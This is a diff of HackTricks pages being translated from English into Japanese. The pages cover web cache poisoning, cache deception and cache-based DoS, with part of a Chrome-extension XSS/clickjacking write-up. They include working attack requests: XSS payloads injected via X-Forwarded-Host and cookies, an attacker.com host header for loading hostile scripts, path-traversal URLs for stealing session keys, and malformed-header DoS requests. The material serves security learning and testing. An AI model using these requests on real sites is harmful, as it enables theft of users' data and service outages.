$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
このスニペットは、**`txtName`** 入力フィールドから **値** を取得し、**文字列連結を使用してHTMLを生成** し、それをjQueryの `.append()` 関数を使用してDOMに追加します。
This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuerys `.append()` function.
通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) は、そのような脆弱性を防ぎます。しかし、**unsafe-eval によるCSPの緩和** と jQueryのDOM操作メソッドの使用これらはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用します)により、悪用は依然として可能です。
Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with unsafe-eval** and the use of jQuerys DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible.
While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.
To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy:
この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存しますページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。
この脆弱性を強化するために、二次的な **clickjacking** 脆弱性が悪用されます。Chrome拡張機能のマニフェストは、広範な `web_accessible_resources` ポリシーを示しています:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attackers site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.
特に、**`/html/bookmarks.html`** ページはフレーミングに対して脆弱であり、したがって**clickjacking**に対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを巧妙に再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と対話することになります。
## References
@ -116,4 +102,3 @@ Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerabl
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,86 +1,82 @@
# Cache Poisoning and Cache Deception
# キャッシュポイズニングとキャッシュデセプション
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## The difference
## 違い
> **What is the difference between web cache poisoning and web cache deception?**
> **ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか?**
>
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
> - **ウェブキャッシュポイズニング**では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。
> - **ウェブキャッシュデセプション**では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
## Cache Poisoning
## キャッシュポイズニング
Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination.
キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染された応答はキャッシュ汚染の期間中にそのページを訪れるユーザーにのみ提供されます。
The execution of a cache poisoning assault involves several steps:
キャッシュポイズニング攻撃の実行にはいくつかのステップがあります:
1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache.
2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker.
3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response.
1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必要ではないパラメータですが、サーバーが返す応答を変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーの応答を変更するためにこれらのパラメータをどのように誤用するかを考えることです。
3. **汚染された応答がキャッシュされることを確認**:最終ステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。
### Discovery: Check HTTP headers
### 発見HTTPヘッダーを確認
Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
通常、**キャッシュに保存された**応答には**それを示すヘッダーが存在**します。この投稿で注意すべきヘッダーを確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)
### Discovery: Caching error codes
### 発見:キャッシュエラーコード
If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS).
応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコードであれば**、それが脆弱であることがわかりますDoSを実行することも可能です
You can find more options in:
詳細なオプションは以下で見つけることができます:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable.
ただし、**時にはこれらのステータスコードがキャッシュされないことがある**ため、このテストは信頼できない可能性があります。
### Discovery: Identify and evaluate unkeyed inputs
You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
### 発見:キーのない入力を特定し評価する
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページの応答を変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### バックエンドサーバーから有害な応答を引き出す
### Elicit a harmful response from the back-end server
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているか、または影響を与えているかを確認します。これを悪用することはできますかXSSを実行する、またはあなたが制御するJSコードを読み込む DoSを実行する...
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
### 応答をキャッシュさせる
### Get the response cached
悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、および**悪用方法**を**特定**したら、ページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加ヘッダー**を**示すため**にしばしば使用されます。したがって、ターゲットとしている被害者の`User-Agent`を知っているユーザーは、その特定の`User-Agent`を使用しているユーザーのためにキャッシュを汚染することができます。
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キーとして使用される**可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
## 悪用の例
## Exploiting Examples
### Easiest example
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
### 最も簡単な例
`X-Forwarded-For`のようなヘッダーが、サニタイズされずに応答に反映されています。\
基本的なXSSペイロードを送信し、キャッシュを汚染することで、ページにアクセスするすべての人がXSSされることになります:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
@ -91,60 +87,53 @@ cache-poisoning-to-dos.md
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
クッキーはページのレスポンスに反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを利用できる可能性があります。
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意してください。脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリアします。
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
### デリミタ、正規化、ドットを使用して不一致を生成する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Check:
確認してください:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。
This is also explained better in:
これは以下でもより詳しく説明されています:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme``http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 限定された `Vary` ヘッダーを利用した攻撃
### Exploiting with limited `Vary`header
If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:
もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されていることがわかり、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get
Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website:
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのリクエストを使用する場合でも、キャッシュサーバーがURLのリクエストをキャッシュする場合、URLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -153,91 +142,90 @@ Content-Length: 22
report=innocent-victim
```
ポートスウィガーのラボについて: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### パラメータクラッキング
### Parameter Cloacking
例えば、**パラメータ**をrubyサーバーで**`;`**文字を使って**`&`**の代わりに分離することが可能です。これを利用して、キーなしのパラメータ値をキー付きのものの中に入れ込み、悪用することができます。
For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
ポートスウィガーのラボ: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTPキャッシュポイズニングの悪用
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
[HTTPリクエストスムージングを悪用したキャッシュポイズニング攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)について学びましょう。
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### ウェブキャッシュポイズニングの自動テスト
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
使用例: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
## Vulnerable Examples
## 脆弱な例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しましたフラグメントは無視。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれていませんでした。
### GitHub CP-DoS
Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users.
content-typeヘッダーに不正な値を送信すると、405キャッシュレスポンスがトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。
### GitLab + GCP CP-DoS
GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートされていました。
### Rack Middleware (Ruby on Rails)
### RackミドルウェアRuby on Rails
In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、それをリクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否DoSを引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、指定されたホストにユーザーをリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。
### 403 and Storage Buckets
### 403とストレージバケット
Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、キャッシュされた403レスポンスが返されました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
### Injecting Keyed Parameters
### キー付きパラメータの注入
Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン例: `siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドでは利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
### User Agent Rules
### ユーザーエージェントルール
Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.
一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
### Illegal Header Fields
### 不正なヘッダーフィールド
The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字例: `\`を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
### Finding new headers
### 新しいヘッダーの発見
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
## キャッシュデセプション
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
キャッシュデセプションの目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
まず、**拡張子**.css、.js、.pngなどが通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`**拡張子**を見ているからです。しかし、**アプリケーション**が**機密**ユーザーコンテンツを_www.example.com/profile.php_から再生している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
Other things to test:
他にテストするべきこと:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
- _あまり知られていない拡張子例: `.avif`を使用する_
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、存在しないページ(例: _http://www.example.com/home.php/non-existent.css_を読み込むと、_http://www.example.com/home.php_**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
**キャッシュプロキシ**は、ファイルの**拡張子**_.css_に基づいてファイルを**キャッシュ**するように**設定されるべき**です。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
[HTTPリクエストスムージングを悪用したキャッシュデセプション攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)について学びましょう。
## Automatic Tools
## 自動ツール
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
- [**toxicache**](https://github.com/xhzeem/toxicache): URLのリスト内でウェブキャッシュポイズニングの脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。
## References
## 参考文献
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -249,10 +237,9 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフロー**を簡単に構築および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,42 +3,35 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers**
> このページでは、**キャッシュサーバーに対して有効なリクエスト**に対して**ウェブサーバーがエラーで応答する**ように試みるさまざまなバリエーションを見つけることができます。
- **HTTP Header Oversize (HHO)**
Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached:
ウェブサーバーがサポートするサイズより大きく、キャッシュサーバーがサポートするサイズより小さいヘッダーサイズのリクエストを送信します。ウェブサーバーは400レスポンスで応答し、これがキャッシュされる可能性があります。
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
- **HTTPメタキャラクター (HMC) と予期しない値**
- **HTTP Meta Character (HMC) & Unexpected values**
Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first.
**有害なメタキャラクター**を含むヘッダーを送信します。攻撃が機能するためには、まずキャッシュをバイパスする必要があります。
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
不適切に構成されたヘッダーは、単に `\:` というヘッダーである可能性があります。
A badly configured header could be just `\:` as a header.
This could also work if unexpected values are sent, like an unexpected Content-Type:
予期しない値が送信される場合、例えば予期しない Content-Type: の場合もこれが機能する可能性があります。
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
- **キーなしヘッダー**
- **Unkeyed header**
